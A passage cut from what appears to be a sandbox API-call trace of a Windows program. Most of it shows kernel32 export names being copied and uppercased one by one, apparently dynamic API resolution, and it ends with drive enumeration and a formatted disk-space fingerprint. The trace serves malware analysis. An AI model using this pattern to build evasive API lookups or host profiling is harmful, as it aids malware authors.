lpString1=0x21fe40c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0083.246] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0083.246] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0083.246] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0083.246] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0083.246] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0083.246] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0083.246] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0083.246] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0083.246] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0083.246] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0083.246] lstrlenA (lpString="CLOSESTATE") returned 10 [0083.246] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0083.247] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0083.247] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0083.247] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0083.247] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0083.247] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0083.247] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0083.247] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0083.247] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0083.247] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0083.247] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0083.247] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0083.247] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0083.247] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0083.247] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0083.247] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0083.247] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0083.247] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0083.247] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0083.247] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0083.247] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0083.248] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0083.248] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0083.248] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0083.248] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0083.248] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0083.248] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0083.248] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0083.248] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0083.248] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0083.248] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0083.248] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0083.248] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0083.248] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0083.248] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0083.248] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0083.248] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0083.248] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0083.248] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0083.248] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0083.248] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0083.249] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0083.249] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0083.249] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0083.249] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0083.249] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0083.249] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0083.249] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0083.249] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0083.249] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0083.249] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0083.249] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0083.249] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0083.249] lstrlenA (lpString="COPYCONTEXT") returned 11 [0083.249] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0083.249] lstrlenA (lpString="COPYFILE2") returned 9 [0083.249] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0083.249] lstrlenA (lpString="COPYFILEA") returned 9 [0083.249] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0083.249] lstrlenA (lpString="COPYFILEEXA") returned 11 [0083.249] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0083.250] lstrlenA (lpString="COPYFILEEXW") returned 11 [0083.250] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0083.250] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0083.250] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0083.250] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0083.250] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0083.250] lstrlenA (lpString="COPYFILEW") returned 9 [0083.250] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0083.250] lstrlenA (lpString="COPYLZFILE") returned 10 [0083.250] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0083.250] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0083.250] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0083.250] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0083.250] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0083.250] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0083.250] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0083.250] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0083.250] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0083.250] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0083.251] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0083.251] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0083.251] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0083.251] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0083.251] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0083.251] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0083.251] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0083.251] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0083.251] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0083.251] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0083.251] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0083.251] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0083.251] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0083.251] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0083.251] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0083.251] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0083.251] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0083.251] lstrlenA (lpString="CREATEEVENTA") returned 12 [0083.251] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0083.251] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0083.252] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0083.252] lstrlenA (lpString="CREATEEVENTW") returned 12 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0083.252] lstrlenA (lpString="CREATEFIBER") returned 11 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0083.252] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0083.252] lstrlenA (lpString="CREATEFILE2") returned 11 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0083.252] lstrlenA (lpString="CREATEFILEA") returned 11 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0083.252] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0083.252] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0083.252] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0083.252] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0083.252] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0083.252] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0083.252] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0083.252] lstrlenA (lpString="CREATEFILEW") returned 11 [0083.252] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0083.253] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0083.253] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0083.253] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0083.253] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0083.253] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0083.253] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0083.253] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0083.253] lstrlenA (lpString="CREATEJOBSET") returned 12 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0083.253] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0083.253] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0083.253] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0083.253] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0083.253] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0083.253] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0083.253] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0083.253] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0083.253] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0083.253] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0083.254] lstrlenA (lpString="CREATEPIPE") returned 10 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0083.254] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0083.254] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0083.254] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0083.254] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0083.254] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0083.254] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0083.254] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0083.254] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0083.254] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0083.254] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0083.254] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0083.254] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0083.254] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0083.254] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0083.254] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0083.254] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0083.254] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0083.255] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0083.255] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0083.255] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0083.255] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0083.255] lstrlenA (lpString="CREATETHREAD") returned 12 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0083.255] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0083.255] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0083.255] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0083.255] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0083.255] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0083.255] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0083.255] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0083.255] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0083.256] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.257] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.257] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.257] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0083.258] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b40000 [0083.258] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.258] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x2b40000 | out: lpBuffer="C:\\") returned 0x4 [0083.258] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.259] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.259] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.259] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0083.259] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.259] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x21ff070, lpBytesPerSector=0x21ff06c, lpNumberOfFreeClusters=0x21ff068, lpTotalNumberOfClusters=0x21ff064 | out: lpSectorsPerCluster=0x21ff070, lpBytesPerSector=0x21ff06c, lpNumberOfFreeClusters=0x21ff068, lpTotalNumberOfClusters=0x21ff064) returned 1 [0083.260] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0083.261] wsprintfW (in: param_1=0x2a30002, param_2="%c_%c_%d/%d|" | out: param_1="C_F_498802/523311|") returned 18 [0083.261] VirtualFree (lpAddress=0x2b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.261] lstrlenA (lpString="kernel32.dll") returned 12 [0083.261] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.261] lstrcpyA (in: lpString1=0x21fe428, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0083.261] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0083.261] lstrcpyA (in: lpString1=0x21fe428, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0083.261] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0083.261] lstrcpyA (in: lpString1=0x21fe428, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0083.261] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0083.261] lstrcpyA (in: lpString1=0x21fe428, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0083.261] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0083.262] lstrlenA (lpString="ADDATOMA") returned 8 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0083.262] lstrlenA (lpString="ADDATOMW") 